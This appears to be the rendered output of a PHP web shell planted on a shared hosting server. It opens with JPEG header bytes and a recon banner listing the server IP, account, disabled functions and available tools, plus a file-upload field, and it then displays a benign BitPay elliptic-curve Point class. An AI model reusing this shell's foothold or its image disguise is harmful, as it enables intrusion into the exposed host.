����JFIF��x�x����'
Server IP : 66.29.137.217 / Your IP : 3.139.85.113 Web Server : LiteSpeed System : Linux premium294.web-hosting.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64 User : gltevjme ( 1095) PHP Version : 7.0.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /home/gltevjme/./bofirm.gltechlimited.com/vendor/bitpay/key-utils/src/BitPayKeyUtils/Util/ |
Upload File : |
<?php namespace BitPayKeyUtils\Util; /** * Object to represent a point on an elliptic curve * * @package Bitcore */ class Point implements PointInterface { /** * MUST be a HEX value * * @var string */ protected $x; /** * MUST be a HEX value * * @var string */ protected $y; /** * @param string $x * @param string $y */ public function __construct($x, $y) { $this->x = (string)$x; $this->y = (string)$y; } /** * @return string */ public function __toString() { if ($this->isInfinity()) { return self::INFINITY; } return sprintf('(%s, %s)', $this->x, $this->y); } /** * @return boolean */ public function isInfinity() { return (self::INFINITY == $this->x || self::INFINITY == $this->y); } /** * @return string */ public function getX() { return $this->x; } /** * @return string */ public function getY() { return $this->y; } /** * @inheritdoc */ public function serialize() { return serialize(array($this->x, $this->y)); } /** * @inheritdoc */ public function unserialize($data) { list( $this->x, $this->y ) = unserialize($data); } /** * @return array */ public function __serialize(): array { return array($this->x, $this->y); } /** * @param array $data */ public function __unserialize(array $data): void { list( $this->x, $this->y ) = $data; } }